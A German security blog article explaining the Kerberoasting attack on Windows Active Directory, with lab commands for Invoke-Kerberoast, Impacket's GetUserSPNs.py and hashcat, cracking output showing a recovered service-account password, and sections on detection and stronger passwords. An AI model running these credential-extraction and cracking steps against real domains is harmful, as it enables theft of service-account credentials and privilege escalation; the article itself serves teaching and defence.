An der Area 41 vom 15. und 16. Juni 2018 haben wir den Workshop Adversary Simulation veranstaltet. Über den Aufbau der Workshop-Testumgebung habe ich im Juni geschrieben. In diesem Workshop konnten Teilnehmer Angriffe in einer Windows Active Directory-Umgebung simulieren und Schwachstellen ausnutzen um sich erweiterte Rechte zu verschaffen. Eine mögliche Angriffstechnik in der AD-Infrastruktur war Kerberoasting. In diesem Artikel stelle ich Kerberoasting vor, wie ein Angriff ausgeführt wird und detektiert werden kann.

Was ist Kerberoasting

Die Kerberoasting-Attacke wurde von Tim Medin bei seiner Präsentation Attacking Microsoft Kerberos Kicking the Guard Dog of Hades an der Derbycon 2014 vorgestellt. Die Attacke beschreibt eine effektive Methode als normaler Domänen-Benutzer an Credentials von Service-Accounts zu gelangen. Dieser Angriff ist vor allem erfolgreich, wenn schwache Passwörter für Service-Accounts genutzt werden.

Um die Kerberoasting-Attacke verstehen zu können, sind Kenntnisse über die Kerberos-Implementierung von Windows von Nutzen. Die Grundlagen erklärte Oliver Kunz in seinem Artikel Kerberos Key Distribution Center Proxy. Kurz zusammengefasst erhält ein Benutzer bei seiner Anmeldung ein Ticket-Granting-Ticket (TGT) vom Key Distribution Center. Das TGT wurde vom Account krbtgt signiert und gilt als Beweis der Identität des Benutzers. Mit dem TGT kann der Benutzer Service-Tickets (TGS) für spezifische Ressourcen der Domäne beantragen. Ein Bestandteil eines TGS ist verschlüsselt mit dem NTHash (NTLM Hash) des Service-Accounts der angefragten Ressource. Windows verwendet Service Principal Names (SPNs), um zu ermitteln, welcher Service-Account zur Verschlüsselung des TGS genutzt wird. Es gibt zwei Typen von SPN:

• Host-basierte SPNs, welche mit dem Computer-Account verknüpft sind
• sowie SPNs, die mit einem Domain-User-Account verbunden wurden.

Für Kerberoasting sind hostbasierte-Accounts nicht interessant, da ein Computer-Account im Active Directory über ein zufällig generiertes 128 Zeichen langes Passwort verfügt, welches alle 30 Tage gewechselt wird. Wird jedoch ein SPN für einen Domain-User-Account registriert, unter anderem für den Betrieb von Microsoft-SQL-Server-Instanzen, dann wird der NTHash des Passworts des Benutzers verwendet. Wenn ein schwaches Passwort für einen Service-Account gewählt wird, hat ein Angreifer gute Möglichkeiten dieses zu errechnen.

Jeder Domänen-Benutzer kann TGS für beliebige Dienste, die über einen registrierten SPN verfügen, bei einem Domain-Controller anfragen. Der Domain-Controller prüft bei der Erstellung des TGS nicht, ob der anfragende Benutzer Zugriff auf die jeweilige Ressource hat. Die Prüfung des Zugriffs wird in der Kerberos-Implementation von Windows dem dafür verantwortlichen Dienst überlassen. Ein Angreifer kann dieses Ticket nutzen, um offline das Passwort des Service-Accounts zu errechnen, da das Ticket mit dem NTHash des Service-Accounts verschlüsselt wurde.

Die Kerberoasting-Attacke in einem Satz erklärt bedeutet, dass jeder gültige Domänen-Account ein Kerberos-Service-Ticket für einen beliebigen Dienst beantragen und anschliessend das Ticket für Offline-Passwort-Cracking-Versuche verwenden kann.

Durchführen von Angriffen

Es gibt verschiedene Möglichkeiten TGS anzufragen, von der Windows-Built-In Funktion SetSPN.exe über PowerShell- und Python-Scripts. Das Projekt PowerShell Empire verfügt über ein Modul namens Invoke-Kerberoast, das alle SPN einer Domäne ermittelt und für jeden Service-Account ein TGS beantragt. Das TGS kann direkt im passenden Format für hashcat ausgegeben werden.

PS C:\> Invoke-Kerberoast -OutputFormat Hashcat

TicketByteHexStream  :
Hash                 : $krb5tgs$23$*srv_database_app01$labs.scip.ch$MSSQLSvc/app01.labs.scip.ch*$0DA02EDC4A5C472A5C66D6
                       A1E4FAF31B$B85C9821DFBB21A3935074934E538B4B7FE72FA413418410C1BBDCAFAD2755678A2E2BBF7816B05593A9F
                       <redacted by scip AG>
SamAccountName       : srv_database_app01
DistinguishedName    : CN=Service Database App01,OU=Service,OU=Accounts,OU=Labs,DC=labs,DC=scip,DC=ch
ServicePrincipalName : MSSQLSvc/app01.labs.scip.ch

Als Alternative empfiehlt sich Impacket’s GetUserSPN.py, ein Python-Script, das den Vorteil bietet unter Linux zu laufen und keinen Gebrauch von üblicherweise überwachten Funktionen wie cmd.exe oder powershell.exe zu machen. Für GetUserSPN.py werden Benutzername und Passworts eines Domänen-Benutzers benötigt.

root@attack01:~# ./GetUserSPNs.py -request -dc-ip 192.168.244.102 labs.scip.ch/rtam 
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Password:
ServicePrincipalName         Name                MemberOf                                                            PasswordLastSet      LastLogon           
---------------------------  ------------------  ------------------------------------------------------------------  -------------------  -------------------
MSSQLSvc/app01.labs.scip.ch  srv_database_app01  CN=DL-IT-Local-Admin-App01,OU=Groups,OU=Labs,DC=labs,DC=scip,DC=ch  2018-06-06 12:46:44  2018-09-11 14:31:47 

$krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLSvc/app01.labs.scip.ch*$56cad1b053bc77b6ca5607175fa1eccd$9a5b3fe08b8a2e6e77c75b4a7ec399fdc...<redacted by scip AG>

Der Output von GetUserSPN.py kann ebenfalls direkt in hashcat genutzt werden. Für das Errechnen der Passwörter wird in hashcat der Hash-Mode 13100 (Kerberos 5 TGS-REP etype 23) verwendet, es ist möglich Passwörter per Brute-Force oder Wörterbücher zu errechnen.

root@attack01:~# hashcat -m 13100 -a 0 spn.txt /usr/share/wordlists/sqlmap.txt 
hashcat (v4.1.0) starting...

...

$krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLSvc/app01.labs.scip.ch*$56cad1b053bc77b6ca5607175fa1eccd$9a5b3fe08b8a2e6e77c<redacted by scip AG>649a613a63ceed:ZZyZZ56.

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLS...63ceed
Time.Started.....: Fri Sep 21 09:07:56 2018 (6 secs)
Time.Estimated...: Fri Sep 21 09:08:02 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   223.4 kH/s (5.13ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1406529/1406529 (100.00%)
Rejected.........: 0/1406529 (0.00%)
Restore.Point....: 1404928/1406529 (99.89%)
Candidates.#1....: zwawywiechec -> zzzzzzzzzzzzzzz
HWMon.Dev.#1.....: N/A

Started: Fri Sep 21 09:07:55 2018
Stopped: Fri Sep 21 09:08:03 2018

Die Dauer des Cracking-Vorgangs hängt von der Komplexität der Passwörter ab. Einfach Passwörter können innerhalb von Minuten geknackt werden. Strategien zum Errechnen von Passwörtern hat Eleanore Young in ihrem Artikel Passwortsicherheit – Wenn Passwörter so klar wie Glas sind vorgestellt.

Erkennen von Angriffen und Gegenmassnahmen

Die effektivste Massnahme gegen Kerberoasting ist die Verwendung von starken Passwörtern, die länger als 27 Zeichen sind. Es sollte dabei sichergestellt werden, dass sämtliche Service-Accounts über solche sicheren Passwörter verfügen und diese auch regelmässig geändert werden können.

Um die Ausstellung von TGS überwachen zu können, muss die Einstellung Audit Kerberos Service-Ticket Operations aktiviert werden. Danach kann nach der Event-ID 4769 (A Kerberos service ticket was requested) gesucht werden. Das Erkennen von Angriffen ist nicht trivial, da das Anfragen und Ausstellen von TGS im normalen Betrieb jedes Mal geschieht, wenn Benutzer Zugriff auf Ressourcen benötigen. Dabei kann einerseits nach Benutzer gesucht werden, die eine exzessive Anzahl von solchen Ereignissen in kurzer Zeit generieren. Zusätzlich kann ein Honeypot-Account angelegt werden, bei dem manuell das AD-Attribut adminCount auf 1 gesetzt und ein SPN-Eintrag angelegt wird. Danach können die Ticket-Events auf diesen Account gefiltert werden.

In der Detailansicht des Events wird dabei ersichtlich, welcher Account das Ticket angefordert hat.

Fazit

Kerberoasting ist eine effiziente Technik für Angreifer, welche über wenig Rechte innerhalb einer Domäne verfügen. Je nach Stärke der Passwörter verfügt ein Angreifer innert kurzer Zeit über mehrere Accounts, welche für weitere Angriffe und Informationsbeschaffung verwendet werden können. Der Angriff selbst kann nicht verhindert, aber durch die Wahl von starken Passwörtern erschwert werden. Service-Accounts sollten daher analog wie privilegierte Accounts behandelt werden. Dazu gehört das Erstellen einer Liste von Service-Accounts, die Überprüfung der letzten Passwort-Änderung sowie ein Prozess, wie deren Passwörter regelmässig geändert werden können.

Über den Autor

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

• http://www.powershellempire.com/
• https://area41.io/
• https://area41.io/workshops/#2
• https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf
• https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py
• https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
• https://hashcat.net/hashcat/
• https://hashcat.net/wiki/doku.php?id=example_hashes
• https://hashes.org/hashlists.php
• https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx
• https://room362.com/post/2017/05-06-2017-password-magic-numbers/
• https://twitter.com/timmedin
• https://www.derbycon.com/